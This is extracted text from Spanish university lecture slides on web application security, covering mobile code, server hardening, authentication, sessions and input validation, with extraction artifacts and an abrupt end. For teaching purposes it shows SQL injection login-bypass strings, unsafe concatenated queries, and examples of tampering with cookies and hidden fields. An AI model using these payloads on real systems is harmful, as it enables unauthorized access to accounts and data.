Você está na página 1de 140

Seguridad en Sistemas Informticos e Internet

Seguridad en las Aplicaciones Web


LabIS2 http://www.lsi.us.es/~quivir
Dpto. Lenguajes y Sistemas Informticos Universidad de Sevilla

Contenido

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en

el el la la

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

Contenido

Introduccin

Seguridad Seguridad Seguridad Seguridad

Aplicaciones Web Cunta seguridad es necesaria? Amenazas ms importantes a las aplicaciones web Guas de seguridad

en en en en

el el la la

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

Contenido

Introduccin Seguridad en el Cliente

Seguridad en el Servidor Seguridad en la Aplicacin Seguridad en la Comunicacin


Seguridad en Sistemas Informticos e Internet

Cdigo mvil Lenguajes de Macro: VBA Lenguajes de Script: JavaScript y VBScript Applets Java Controles ActiveX

Contenido

Introduccin Seguridad en el Cliente Seguridad en el Servidor

Seguridad en la Aplicacin Seguridad en la Comunicacin

Servidor Web Servidor de Bases de Datos Lenguajes de servidor

Seguridad en Sistemas Informticos e Internet

Contenido

Introduccin Seguridad en el Cliente Seguridad en el Servidor Seguridad en la Aplicacin

Seguridad en la Comunicacin

Control de acceso Validacin de datos de entrada Programacin segura

Seguridad en Sistemas Informticos e Internet

Contenido

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en


SSL

el el la la

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

Programacin
Teora Viernes 7 Introduccin Seguridad en el cliente Seguridad en el servidor Seguridad en la aplicacin: control de acceso Seguridad en la aplicacin: control de acceso Seguridad en la aplicacin: validacin de datos de entrada Seguridad en la aplicacin: programacin segura Seguridad en la comunicacin Prctica 1. Cdigo mvil

Jueves 20

2. Autentificacin bsica HTTP

Viernes 21

3. Control de acceso

Jueves 4

4. Validacin de datos

Viernes 5

5. SSL en Apache

Seguridad en Sistemas Informticos e Internet

Contenido

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en

el el la la

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

Introduccin

Aplicaciones Web Cunta seguridad es necesaria? Amenazas ms importantes a las aplicaciones web Guas de seguridad

Seguridad en Sistemas Informticos e Internet

10

Introduccin

Aplicaciones Web
Aplicaciones cliente/servidor que utilizan el protocolo HTTP para interactuar con los usuarios u otros sistemas El cliente utilizado por los usuarios es habitualmente un navegador Los problemas de seguridad pueden provenir de los programas web en los que se apoyan, aunque en su mayor parte son consecuencia de fallos en la lgica y el diseo de la propia aplicacin

Seguridad en Sistemas Informticos e Internet

11

Introduccin

Cunta seguridad es necesaria?


La seguridad supone un coste econmico y de eficiencia. Hay que disponer de la adecuada, ni ms ni menos Para ello hay que tener en cuenta tres reglas: El riesgo cero no es prctico Hay diversas formas de mitigar el riesgo No se puede gastar un milln para proteger un cntimo

Seguridad en Sistemas Informticos e Internet

12

Introduccin

Amenazas ms importantes: Top 10


The Open Web Application Security Project (OWASP)

The Ten Most Critical Web Application Security Vulnerabilities


www.owasp.org/documentation/topten

Seguridad en Sistemas Informticos e Internet

13

Introduccin

Top Ten de amenazas


1. 2. 3. 4. 5. 6. 7. 8. 9. 10.

Entrada no validada Control de acceso roto Administracin de sesin y autentificacin rota Fallos de Cross Site Scripting (XSS) Desbordamiento del buffer Fallos de inyeccin Manejo inadecuado de errores Almacenamiento inseguro Negacin de servicio Administracin de configuracin insegura

Seguridad en Sistemas Informticos e Internet

14

Introduccin

Guas de seguridad
Es conveniente tener en cuenta unos principios de alto nivel al disear aplicaciones web: Validar la entrada y la salida Fallar con seguridad Mantener un esquema de seguridad simple Utilizar componentes de confianza La seguridad a travs de la oscuridad no funciona Mantener los privilegios al mnimo y separados

Seguridad en Sistemas Informticos e Internet

15

Contenido

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en

el el la la

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

16

Seguridad en el Cliente

Cdigo mvil Lenguajes de Macro: VBA JavaScript VBScript Applets Java Controles ActiveX

Seguridad en Sistemas Informticos e Internet

17

Seguridad en el Cliente

Cdigo mvil
Cdigo que circula por la red y se ejecuta en una mquina remota Aparece incrustado en un documento HTML. Un cliente de correo o un navegador que carguen el documento lo ejecutarn en la mquina cliente Potencia la funcionalidad de los documentos HTML pero entraa riesgos de seguridad. Un cdigo mvil puede obtener informacin acerca de un sistema o un usuario y enviarla a una mquina remota

Seguridad en Sistemas Informticos e Internet

18

Seguridad en el Cliente

Cdigo mvil
Puede estar incrustado directamente en el documento, caso de los lenguajes de script como JavaScript y VBScript Tambin puede residir en un servidor y ser invocado mediante una referencia en el documento, caso de las applets de Java o los controles ActiveX El cdigo ActiveX suele permanecer en el sistema una vez que se instala, mientras que las applets de Java se ejecutan una sla vez y no se almacenan en la mquina del usuario

Seguridad en Sistemas Informticos e Internet

19

Seguridad en el Cliente

Cdigo mvil
Hay cuatro tipos bsicos de cdigo mvil: Lenguajes de macro como Visual Basic for Applications (VBA) Scripts como JavaScript y VBScript Applets de Java Controles ActiveX Un mtodo de proteccin comn es tener siempre actualizado el software

Seguridad en Sistemas Informticos e Internet

20

Seguridad en el Cliente

Lenguajes de Macro: VBA


Es un lenguaje de macro propio de Microsoft Office, aunque otras aplicaciones lo han adoptado Permite el acceso a todas las funciones de la aplicacin, incluyendo el acceso a disco La macro est incrustada en el documento

Seguridad en Sistemas Informticos e Internet

21

Seguridad en el Cliente

Lenguajes de Macro: VBA


Las versiones previas a Office 97 ejecutaban las macros al abrir los documentos sin pedir autorizacin al usuario. Una macro poda contener un virus y causar grandes perjuicios Al ejecutarse podra copiarse en la plantilla normal, con lo que aparecera en cualquier documento creado con la aplicacin y se expandira al compartirse los documentos Ejemplo: Melissa (1999), creado con VBA en un documento Word. Se reenviaba a los primeros 50 contactos de Outlook

Seguridad en Sistemas Informticos e Internet

22

Seguridad en el Cliente

Lenguajes de Macro: VBA


Para protegerse de los virus de macro hay que tener mucha precaucin al permitir la ejecucin de macros en un documento. Slo debe hacerse cuando la fuente de procedencia del documento sea fiable

Seguridad en Sistemas Informticos e Internet

23

Seguridad en el Cliente

JavaScript
Fue diseado para aadir interactividad a una pgina web Un cdigo JavaScript tiene acceso nicamente a la informacin contenida en la pgina en la que est incrustado Es bastante seguro. Algunos problemas del pasado han estado relacionados con implementaciones de JavaScript por parte de Microsoft y Netscape. La madurez de la tecnologa ha permitido solucionarlos

Seguridad en Sistemas Informticos e Internet

24

Seguridad en el Cliente

JavaScript
El nico problema serio est relacionado con los servicios de correo Web Si se recibe un correo con un cdigo malicioso, al visualizarlo podra hacer cosas como leer los mensajes del usuario, enviar mensajes en su nombre, leer una cookie o abrir una falsa ventana de identificacin para pedir al usuario la confirmacin de su password. Podra usar marcos para continuar ejecutndose mientras visualizamos otros mensajes o realizamos otras tareas Apareci por primera vez en Hotmail y provoc que los servicios de correo web decidieran neutralizar el cdigo JavaScript de los mensajes recibidos
Seguridad en Sistemas Informticos e Internet 25

Seguridad en el Cliente

JavaScript
Otra fuente de problemas es la posibilidad que ofrece de comunicarse con los plug-ins del navegador (p. Ej. Shockwave player). Si el plug-in tiene acceso a disco, JavaScript tambin lo tiene La mejor proteccin es tener el software actualizado. Si se utiliza un servicio de correo web hay que verificar que tiene activados filtros contra el cdigo JavaScript. Tambin se puede deshabilitar JavaScript o pedir confirmacin cuando se intente ejecutar cdigo JavaScript, aunque puede resultar muy pesado Netscape permite deshabilitar JavaScript de forma independiente para navegador y lector de correo
Seguridad en Sistemas Informticos e Internet 26

Seguridad en el Cliente

VBScript
Slo funciona con Internet Explorer y Outlook, por lo que no es tan popular como JavaScript Ofrece una funcionalidad similar pero con una notable excepcin: puede interactuar con los controles ActiveX instalados en la mquina sta es la principal fuente de problemas, ya que carece de operaciones potencialmente peligrosas Los controles ActiveX pueden ser marcados como safe o unsafe for scripting de forma que se impida a los scripts acceder a ellos

Seguridad en Sistemas Informticos e Internet

27

Seguridad en el Cliente

Applets Java
Normalmente no pueden leer ni escribir datos en el disco local ni comunicarse con otro recurso de la red salvo el servidor del que procede, lo cual garantiza que no tendrn comportamiento malicioso Excepcin: pueden crear hilos que se ejecutan en segundo plano. Estos hilos pueden seguir en ejecucin aunque se cierre el navegador y pueden tener un efecto poco pernicioso, como reproducir msica de fondo. La nica forma de pararlos es cerrar todas las ventanas del navegador Efecto ms negativo: el applet crea hilos que consumen mucha memoria y/o CPU haciendo ms lento el sistema y llegando incluso a colapsarlo
Seguridad en Sistemas Informticos e Internet 28

Seguridad en el Cliente

Controles ActiveX
Son la respuesta de Microsoft a las applets de Java Slo funcionan bsicamente con Internet Explorer y Outlook La seguridad de los controles ActiveX se basa en los certificados digitales. Los controles estn firmados digitalmente para garantizar su autenticidad Al cargar el control IE presenta el certificado digital y pide autorizacin para instalarlo. Pueden existir controles sin firma, aunque sern directamente rechazados por IE si est configurado correctamente
Seguridad en Sistemas Informticos e Internet 29

Seguridad en el Cliente

Seguridad en Sistemas Informticos e Internet

30

Seguridad en el Cliente

Controles ActiveX
El problema se da cuando un control est mal construido, proporcionando agujeros de seguridad a los atacantes Un problema habitual en algunos controles es el buffer overrun, padecido por ejemplo por el control de Adobe Acrobat Reader 4.0 y que permite la ejecucin de cdigo arbitrario en la mquina del usuario Cuando se construye un control ActiveX que puede realizar tareas potencialmente peligrosas (como leer o escribir en disco) hay que tener la precaucin de marcarlo como unsafe for scripting para que no pueda ser llamado desde VBScript
Seguridad en Sistemas Informticos e Internet 31

Seguridad en el Cliente

Prctica 1: Cdigo mvil


Creacin de un formulario Validacin de datos con JavaScript Formas de saltarse la validacin JavaScript

Seguridad en Sistemas Informticos e Internet

32

Contenido

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en

el el la la

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

33

Seguridad en el Servidor

Servidor Web Servidor de Bases de Datos Lenguajes de servidor

Seguridad en Sistemas Informticos e Internet

34

Seguridad en el Servidor

El desarrollo de una aplicacin web requiere de una serie de herramientas: servidores web, servidores de aplicaciones, servidores de bases de datos, lenguajes de servidor, etc. Estas herramientas pueden plantear problemas que comprometan a la aplicacin: Vulnerabilidades debidas al uso de versiones no actualizadas Configuraciones por defecto inadecuadas Activacin de cuentas por defecto Las herramientas deben estar actualizadas y bien configuradas para impedir ataques a la aplicacin
Seguridad en Sistemas Informticos e Internet 35

Seguridad en el Servidor

Servidor Web
Proporciona muchos servicios y es muy probable que algunos de ellos no sean necesarios para el funcionamiento de la aplicacin web En tal caso es conveniente deshabilitarlos Para ello el servidor dispone de mltiples opciones de configuracin que es conveniente adaptar a las circunstancias concretas de la aplicacin web

Seguridad en Sistemas Informticos e Internet

36

Seguridad en el Servidor

Servidor Web
Precauciones a tener en cuenta: Establecer permisos adecuados para los ficheros del servidor y los documentos. Es conveniente definir un usuario y grupo especiales (web, www) Listado automtico de directorios. Puede ser conveniente pero proporciona informacin sensible Seguimiento de enlaces simblicos. Peligroso si se enlazan ficheros externos al rbol de documentos

Seguridad en Sistemas Informticos e Internet

37

Seguridad en el Servidor

Servidor Web
Precauciones a tener en cuenta (cont): Ejecucin de CGI. Slo debe permitirse a usuarios de confianza y restringirlo a un directorio especial Server side includes (SSI). Es una fuente de peligro y puede tener que ser restringido a usuarios de confianza o deshabilitado (en particular la opcin exec). Ejemplo:
... cdigo HTML <!--#exec cgi=/cgi-bin/cabecera.cgi --> ... cdigo HTML

Seguridad en Sistemas Informticos e Internet

38

Seguridad en el Servidor

Servidor Web
Ejercicio: Configuracin de Apache

Seguridad en Sistemas Informticos e Internet

39

Seguridad en el Servidor

Servidor Web
Es muy conveniente revisar peridicamente los ficheros de log (access_log y error_log en Apache) para detectar posibles ataques al servidor

Seguridad en Sistemas Informticos e Internet

40

Seguridad en el Servidor

Servidor Web
Ejercicio: Ficheros de log en Apache

Seguridad en Sistemas Informticos e Internet

41

Seguridad en el Servidor

Servidor de Bases de Datos


Proporciona acceso a bases de datos, fundamental en toda aplicacin web importante. Riesgos: Descubrimiento de informacin acerca de los datos de conexin al servidor (usuario y clave), informacin sensible almacenada en la base de datos (tarjetas de crdito) o informacin sobre la estructura de la base de datos Modificacin de las instrucciones SQL enviadas al servidor, construidas de forma dinmica a partir de datos recibidos del usuario y por tanto potencialmente peligrosos (Inyeccin SQL) Acceso no autorizado a informacin restringida
Seguridad en Sistemas Informticos e Internet 42

Seguridad en el Servidor

Servidor de Bases de Datos


Hay que vigilar la configuracin por defecto del servidor, que puede incluir bases de datos y usuarios predefinidos que conviene eliminar Algunas recomendaciones: No ejecutar el servidor como root No dar a ningn usuario salvo al root permiso de acceso a la tabla de usuarios Asegurarse de que el root tiene un password Restringir el acceso remoto al servidor No dar a un usuario ms permisos que los estrictamente necesarios Almacenar los datos sensibles de forma encriptada
Seguridad en Sistemas Informticos e Internet 43

Seguridad en el Servidor

Servidor de Bases de Datos


En el cdigo de la aplicacin hay que tener, entre otras, las siguientes precauciones: Validar las instrucciones SQL antes de enviarlas al servidor No revelar informacin sobre la base de datos en los mensajes de error (esquema, naturaleza de los datos almacenados, fragmentos SQL) Proteger el cdigo donde aparezca informacin sensible para el acceso al servidor

Seguridad en Sistemas Informticos e Internet

44

Seguridad en el Servidor

Servidor de Bases de Datos


Ejercicio: Configuracin de MySQL

Seguridad en Sistemas Informticos e Internet

45

Seguridad en el Servidor

Lenguajes de servidor
ASP, JSP, PHP Aumentan enormemente la potencia de los documentos HTML al permitir la comunicacin con aplicaciones residentes en el servidor, y muy especialmente con servidores de bases de datos Esta potencialidad conlleva riesgos. Hay que revisar a fondo la configuracin para eliminar funcionalidades no utilizadas y seguir prcticas adecuadas de programacin, sobre todo en funciones con vulnerabilidades conocidas

Seguridad en Sistemas Informticos e Internet

46

Seguridad en el Servidor

Lenguajes de servidor
Hay que proteger el cdigo fuente para evitar que pueda ser visualizado, especialmente cuando contiene informacin sensible como pueden ser los datos de conexin al servidor de bases de datos Una medida razonable consiste en sacar el cdigo fuente sensible fuera de la raz de la web

Seguridad en Sistemas Informticos e Internet

47

Seguridad en el Servidor

Lenguajes de servidor
Ejercicio: Errores en cdigo PHP

Seguridad en Sistemas Informticos e Internet

48

Contenido

Introduccin Seguridad en Seguridad en Seguridad en Seguridad en

el el la la

Cliente Servidor Aplicacin Comunicacin

Seguridad en Sistemas Informticos e Internet

49

Seguridad en la Aplicacin

Control de acceso Validacin de datos de entrada Programacin segura

Seguridad en Sistemas Informticos e Internet

50

Seguridad en la Aplicacin

Control de acceso
Un aspecto muy importante de una aplicacin web es el control de acceso de los usuarios a zonas restringidas de la aplicacin Aqu intervienen dos conceptos: Autentificacin Autorizacin

Seguridad en Sistemas Informticos e Internet

51

Seguridad en la Aplicacin

Autentificacin
Es el proceso de determinar si un usuario es quien dice ser Esto se puede hacer de varias maneras. Algunas de ellas son: Autentificacin HTTP bsica Autentificacin basada en la aplicacin

Seguridad en Sistemas Informticos e Internet

52

Seguridad en la Aplicacin

Autentificacin HTTP bsica


Cuando se requiere una URI protegida, el servidor web devuelve un cdigo HTTP/1.1 401 Authorization required, indicando al cliente que muestre una ventana de dilogo con un nombre de usuario y una contrasea Cuando se pulsa el botn de envo estos datos llegan al servidor que comprueba si son correctos y en caso afirmativo sirve el recurso solicitado

Seguridad en Sistemas Informticos e Internet

53

Seguridad en la Aplicacin

Seguridad en Sistemas Informticos e Internet

54

Seguridad en la Aplicacin

Autentificacin HTTP bsica


Ventajas: Es muy simple de implementar Se pueden fijar restricciones de acceso por usuario y contrasea o por otros conceptos como por ejemplo el dominio o direccin IP de la mquina Inconvenientes: Los datos viajan por la red sin encriptar No se puede hacer logout, la nica forma es cerrar el navegador No hay control sobre el diseo de la ventana de dilogo

Seguridad en Sistemas Informticos e Internet

55

Seguridad en la Aplicacin

Autentificacin HTTP bsica


Ejercicio: proteccin de un directorio del servidor

Seguridad en Sistemas Informticos e Internet

56

Seguridad en la Aplicacin

Prctica 2: Autentificacin HTTP bsica


Creacin de una pgina web Creacin de un usuario Creacin de un fichero .htaccess Configuracin del servidor web Apache

Seguridad en Sistemas Informticos e Internet

57

Seguridad en la Aplicacin

Autentificacin basada en la aplicacin


La propia aplicacin puede implementar un mecanismo de autentificacin que implica la presentacin de un formulario para que el usuario introduzca sus credenciales y el uso de una base de datos para verificar la correccin de stas Es ms costosa pero ms flexible ya que permite establecer diferentes permisos y niveles de acceso en funcin del usuario que solicita la autentificacin

Seguridad en Sistemas Informticos e Internet

58

Seguridad en la Aplicacin

Seguridad en Sistemas Informticos e Internet

59

Seguridad en la Aplicacin

Passwords
Siempre que se utilizan passwords para autentificar usuarios hay que seguir unas recomendaciones: Restringir los valores para los nombres de usuarios. Los que representan nombres reales suponen dar pistas a los atacantes Almacenar los passwords de forma segura, protegiendo el acceso a la base de datos Seguir reglas de seguridad para su eleccin Bloquear una cuenta cuando se detecta un nmero determinado de intentos de acceso incorrectos Actualizar los passwords peridicamente y mantener un histrico para evitar repeticiones
Seguridad en Sistemas Informticos e Internet 60

Seguridad en la Aplicacin

Passwords
Cualquier sistema que requiera autentificacin debe tener una poltica de recuperacin de passwords en caso de olvido del usuario Esto se puede hacer de dos formas: Automticamente A travs de tcnicos de soporte

Seguridad en Sistemas Informticos e Internet

61

Seguridad en la Aplicacin

Passwords
En el caso automtico hay varias estrategias: Plantear durante el registro del usuario varias preguntas a las que slo l puede responder Enviar el password por correo electrnico. Es recomendable que tenga fecha de expiracin y se pida su cambio cuando el usuario se conecte Comunicar el password por telfono al usuario a requerimiento del mismo Deben registrarse todos los intentos de recuperacin y fijar un lmite de tiempo pasado el cual sera preciso recurrir al tcnico

Seguridad en Sistemas Informticos e Internet

62

Seguridad en la Aplicacin

Seguridad en Sistemas Informticos e Internet

63

Seguridad en la Aplicacin

Passwords
En el caso del tcnico hay que prever el servicio a personas de diferentes pases con lenguas diferentes La intervencin humana da mayor seguridad, pero es ms costosa y ms molesta para el usuario Una alternativa a la presencia fsica puede ser el uso del fax para enviar la documentacin que certifique la identidad del usuario

Seguridad en Sistemas Informticos e Internet

64

Seguridad en la Aplicacin

Sesiones
Una vez que el usuario se ha autentificado introduciendo su nombre de usuario y su clave, es preciso mantener esta autentificacin en cada conexin subsiguiente Para evitar tener que mostrar nuevamente la ventana de autentificacin se recurre habitualmente al uso de sesiones, un mecanismo que permite mantener el estado entre diferentes peticiones HTTP

Seguridad en Sistemas Informticos e Internet

65

Seguridad en la Aplicacin

Sesiones
El mecanismo es el siguiente: Una vez autentificado, al usuario se le asigna un identificador de sesin Este identificador acompaar invisiblemente a cada peticin del usuario, con lo cual se garantizar que la peticin proviene de un usuario previamente autentificado El identificador de sesin se suele almacenar en la propia mquina del cliente, mediante una cookie Slo se debe almacenar el identificador de la sesin; cualquier otro dato del usuario se almacenar en el servidor
Seguridad en Sistemas Informticos e Internet 66

Seguridad en la Aplicacin

Sesiones
La gestin de las sesiones es responsabilidad del programador. Normalmente los lenguajes de servidor disponen de funciones diseadas especficamente para ello En PHP se dispone de las siguientes funciones: session_start session_register session_is_registered session_unregister session_destroy

Seguridad en Sistemas Informticos e Internet

67

Seguridad en la Aplicacin

Sesiones
Un buen sistema de gestin de sesiones debe: Establecer un tiempo lmite de vida para la sesin Regenerar el identificador de sesin cada cierto tiempo Detectar intentos de ataque de fuerza bruta con identificadores de sesin Requerir una nueva autentificacin del usuario cuando vaya a realizar una operacin importante Proteger los identificadores de sesin durante su transmisin Destruir la cookie al finalizar la sesin para evitar el acceso de otro usuario en un entorno pblico
Seguridad en Sistemas Informticos e Internet 68

Seguridad en la Aplicacin

Sesiones
Ejercicio: sesiones en PHP

Seguridad en Sistemas Informticos e Internet

69

Seguridad en la Aplicacin

Autorizacin
Es el acto de comprobar si un usuario tiene el permiso adecuado para acceder a un cierto fichero o realizar una determinada accin, una vez que ha sido autentificado

Seguridad en Sistemas Informticos e Internet

70

Seguridad en la Aplicacin

Autorizacin
Disear el mecanismo de control de acceso exige: Determinar la informacin que ser accesible por cada usuario Determinar el nivel de acceso de cada usuario a la informacin Especificar un mecanismo para otorgar y revocar permisos a los usuarios Proporcionar funciones a los usuarios autorizados: identificacin, desconexin, peticin de ayuda, consulta y modificacin de informacin personal, cambio de password, etc. Ajustar los niveles de acceso a la informacin a la poltica de seguridad de la organizacin
Seguridad en Sistemas Informticos e Internet 71

Seguridad en la Aplicacin

Autorizacin
Modelos para el control de acceso: Control de Acceso Discrecional: se basa en la identidad de los usuarios o su pertenencia a ciertos grupos. El propietario de una informacin puede cambiar sus permisos a su discrecin Control de Acceso Obligatorio: cada pieza de informacin tiene un nivel de seguridad y cada usuario un nivel de acceso, lo cual permite determinar los permisos de acceso de cada usuario a cada pieza de informacin Control de Acceso Basado en Roles: cada usuario tiene un rol dentro de la organizacin y en funcin de l unos permisos de acceso
Seguridad en Sistemas Informticos e Internet 72

Seguridad en la Aplicacin

Autorizacin
Para la implementacin del mecanismo de control de acceso en la aplicacin suele recurrirse al uso de bases de datos

Seguridad en Sistemas Informticos e Internet

73

Seguridad en la Aplicacin

Prctica 3: Control de acceso


Disear un mecanismo de control de acceso Definir usuarios Especificar nivel de acceso de los usuarios

Seguridad en Sistemas Informticos e Internet

74

Seguridad en la Aplicacin

Validacin de datos de entrada


El problema ms frecuente que presentan las aplicaciones web es no validar correctamente los datos de entrada Esto da lugar a algunas de las vulnerabilidades ms importantes de las aplicaciones, como la Inyeccin SQL, el Cross-Site Scripting y el Buffer Overflow Veamos los siguientes aspectos: Fuentes de entrada Inyeccin Estrategias de proteccin Vulnerabilidades especficas
Seguridad en Sistemas Informticos e Internet 75

Seguridad en la Aplicacin

Fuentes de entrada
Los datos de entrada pueden provenir de cuatro fuentes diferentes: Cadenas URL Cookies Cabeceras HTTP Campos de formularios

Seguridad en Sistemas Informticos e Internet

76

Seguridad en la Aplicacin

Fuentes de entrada cadenas URL


Cuando se enva un formulario con el mtodo GET, los nombres y valores de todos los elementos del formulario aparecen detrs de la URL de la pgina invocada:
http://www.victim.com/example?accountnumber=12345

Es muy fcil modificar esta cadena:


http://www.victim.com/example?accountnumber=67891

Seguridad en Sistemas Informticos e Internet

77

Seguridad en la Aplicacin

Fuentes de entrada cadenas URL


La aplicacin debe chequear el valor recibido aunque proceda de una lista desplegable con unos valores predefinidos, ya que el usuario ha podido modificar manualmente la URL Este problema se da tambin en los hipervnculos que incluyen parmetros Siempre que se enven datos sensibles hay que acompaarlos de un identificador de sesin y comprobar que el usuario asociado a la sesin tiene acceso a la informacin requerida

Seguridad en Sistemas Informticos e Internet

78

Seguridad en la Aplicacin

Fuentes de entrada - cookies


Es un mtodo habitual de mantener el estado o almacenar preferencias del usuario. Pueden ser modificadas por el cliente para engaar al servidor. El peligro depender de lo que se almacene en la cookie. Por ejemplo, la cookie
Cookie: lang=en-us; ADMIN=no; y=1; time=10:30GMT;

puede ser modificada fcilmente por:


Cookie: lang=en-us; ADMIN=yes; y=1; time=12:30GMT;

Lo mejor es almacenar en la cookie nicamente el identificador de sesin, manteniendo la informacin relevante en el servidor
Seguridad en Sistemas Informticos e Internet 79

Seguridad en la Aplicacin

Fuentes de entrada - cabeceras


Las cabeceras HTTP contienen informacin de control enviadas entre el cliente y el servidor. Por ejemplo,
Host: www.someplace.org Pragma: no-cache Cache-Control: no-cache User-Agent: Lynx/2.8.4dev.9 libwww-FM/2.14 Referer: http://www.someplace.org/login.php Content-type: application/x-www-form-urlencoded Content-length: 49

Seguridad en Sistemas Informticos e Internet

80

Seguridad en la Aplicacin

Fuentes de entrada - cabeceras


Si la aplicacin web utiliza las cabeceras recibidas del cliente, hay que tener en cuenta que stas pueden haber sido manipuladas, por lo que deben ser verificadas Por ejemplo, sea la siguiente cabecera:
Accept-Language: es

Si el contenido de la cabecera se utiliza directamente en una consulta a la base de datos, podra utilizarse para inyectar rdenes SQL modificando la cabecera

Seguridad en Sistemas Informticos e Internet

81

Seguridad en la Aplicacin

Fuentes de entrada - formularios


Los formularios pueden ser modificados para enviar lo que el usuario desee. Basta con guardar la pgina, modificar el cdigo y recargarlo en el navegador. Las limitaciones impuestas en el propio formulario se pueden saltar perfectamente. Ejemplo:
<input type=text name="titulo" maxlength="100">

Este elemento podra modificarse as:


<input type=text name="titulo" maxlength="100000">

con el consiguiente riesgo para la aplicacin si el valor no se chequea adecuadamente

Seguridad en Sistemas Informticos e Internet

82

Seguridad en la Aplicacin

Fuentes de entrada - formularios


Los campos ocultos (HIDDEN) tambin son vulnerables a este ataque, por lo que no deben utilizarse para almacenar informacin sensible Es mucho ms seguro utilizar sesiones y almacenar la informacin sensible en el servidor Ejemplos de campos ocultos vulnerables:
<input name="masteraccess" type="hidden" value="N"> <input name="price" type="hidden" value="199.99">

Seguridad en Sistemas Informticos e Internet

83

Seguridad en la Aplicacin

Fuentes de entrada - formularios


Ejercicio: validacin de datos de formularios con la herramienta WebGoat Descarga e instalacin de WebGoat Ejercicio: hidden field tampering Ejercicio: unchecked email Ejercicio: JavaScript validation

Seguridad en Sistemas Informticos e Internet

84

Seguridad en la Aplicacin

Inyeccin
Consiste en inyectar en la aplicacin datos introducidos por el usuario. Esto es muy habitual y de por s no es peligroso

Seguridad en Sistemas Informticos e Internet

85

Seguridad en la Aplicacin

Inyeccin de datos
Ejemplo: sea la siguiente instruccin:
sql= "SELECT * FROM noticias WHERE id = $id";

Pulsando en el artculo de inters para el usuario se convierte en:


sql= "SELECT * FROM noticias WHERE id = 228";

Otro ejemplo:
print "<H2>Bienvenido/a, $username.</H2>";

Una vez identificado el usuario se convierte en:


print "<H2>Bienvenido/a, Antonio.</H2>";

Seguridad en Sistemas Informticos e Internet

86

Seguridad en la Aplicacin

Conectores y payload
Idea: suministrar datos que al ser inyectados en la aplicacin causen un efecto particular El ataque est completamente contenido en los datos suministrados por el atacante, que se pueden dividir en tres partes: Conector de prefijo Payload Conector de sufijo El ataque est contenido en el payload y los conectores lo encajan en la aplicacin Para elegirlos es preciso un amplio conocimiento del lenguaje, las herramientas y las tcnicas utilizadas en la aplicacin
Seguridad en Sistemas Informticos e Internet 87

Seguridad en la Aplicacin

Conectores y payload
Ejemplo: consulta SQL para una interfaz de identificacin de usuario
sql = "SELECT * FROM tablausuarios WHERE login = '$userLogin' AND password = '$userPassword';

Si inyectamos un ataque en el campo userLogin con los siguientes componentes:


prefijo
OR

payload
1=1

sufijo
OR login=

Seguridad en Sistemas Informticos e Internet

88

Seguridad en la Aplicacin

Conectores y payload
obtendremos la consulta SQL:
SELECT * FROM tablausuarios WHERE login = '' OR 1=1 OR login ='' AND password = ''

que nos devolver todos los usuarios de la tabla

Seguridad en Sistemas Informticos e Internet

89

Seguridad en la Aplicacin

Conectores y payload
Con un mayor conocimiento podemos modificar el ataque para reducir el nmero de caracteres empleados, que podra estar limitado. Por ejemplo, el ataque
prefijo OR

payload
1=1

sufijo

producira la consulta SQL:


SELECT * FROM tablausuarios WHERE login = '' OR '1'='1' AND password = ''

Seguridad en Sistemas Informticos e Internet

90

Seguridad en la Aplicacin

Conectores y payload
La eleccin de los conectores puede verse facilitada por factores como acceso al cdigo fuente o mensajes de error detallados Ms importante que esto es el hecho de utilizar tcnicas de programacin conocidas en el desarrollo de las aplicaciones

Seguridad en Sistemas Informticos e Internet

91

Seguridad en la Aplicacin

Estrategias de proteccin
Existen tres modelos posibles a la hora de disear una estrategia de validacin de datos: Aceptar nicamente datos vlidos conocidos Rechazar datos no vlidos conocidos Sanear todos los datos

Seguridad en Sistemas Informticos e Internet

92

Seguridad en la Aplicacin

Estrategias de proteccin
Aceptar nicamente datos vlidos conocidos. Es la estrategia ms adecuada. Slo deben aceptarse aquellos datos que se adaptan a lo esperado. Por ejemplo, si un password debe contener letras de la A a la Z y dgitos del 0 al 9, debe verificarse que la entrada es una cadena, que slo contiene esos caracteres y que tiene una longitud vlida

Seguridad en Sistemas Informticos e Internet

93

Seguridad en la Aplicacin

Estrategias de proteccin
Aceptar nicamente datos vlidos conocidos. En general hay que chequear lo siguiente:

Tipo de dato Longitud mxima y mnima Datos obligatorios Si hay una lista enumerada de posibles valores, comprobar que est en ella Si hay un formato o plantilla especfico, comprobar que lo cumple Si es texto libre, que slo contiene caracteres vlidos Si se permiten caracteres peligrosos, sanearlos

Deben considerarse los valores por separado pero tambin teniendo en cuenta que pueden unirse para formar, por ejemplo, una consulta SQL
Seguridad en Sistemas Informticos e Internet 94

Seguridad en la Aplicacin

Estrategias de proteccin
Rechazar datos no vlidos conocidos. Implica conocer todos los posibles datos peligrosos, lo cual es muy difcil Sanear todos los datos. Consiste en transformar los datos en una representacin que no presente riesgos. Por ejemplo, transformar (una comilla simple) en (dos comillas simples) o < en &lt;. Es buena como complemento a la primera estrategia aunque no tanto para utilizarse sla porque es difcil sanear todos los datos

Seguridad en Sistemas Informticos e Internet

95

Seguridad en la Aplicacin

Estrategias de proteccin
Nunca debe confiarse en la validacin de datos en el cliente ya que puede puentearse con facilidad. Toda la validacin de datos debe realizarse en el servidor Conceptos errneos sobre la validacin en el cliente:

El atributo MAXLENGTH limitar los caracteres que el usuario puede introducir El atributo READONLY evitar que el usuario pueda modificar un valor Los campos de tipo HIDDEN no se pueden modificar Las cookies no se pueden modificar Las listas desplegables o botones de radio limitan los valores de entrada Todos los campos del formulario sern enviados Slo los campos del formulario sern enviados
Seguridad en Sistemas Informticos e Internet 96

Seguridad en la Aplicacin

Prctica 4: Validacin de datos


Validacin de datos en el servidor Creacin de un formulario en PHP con validacin de los datos de entrada Uso de expresiones regulares para validar los datos de entrada

Seguridad en Sistemas Informticos e Internet

97

Seguridad en la Aplicacin

Vulnerabilidades especficas
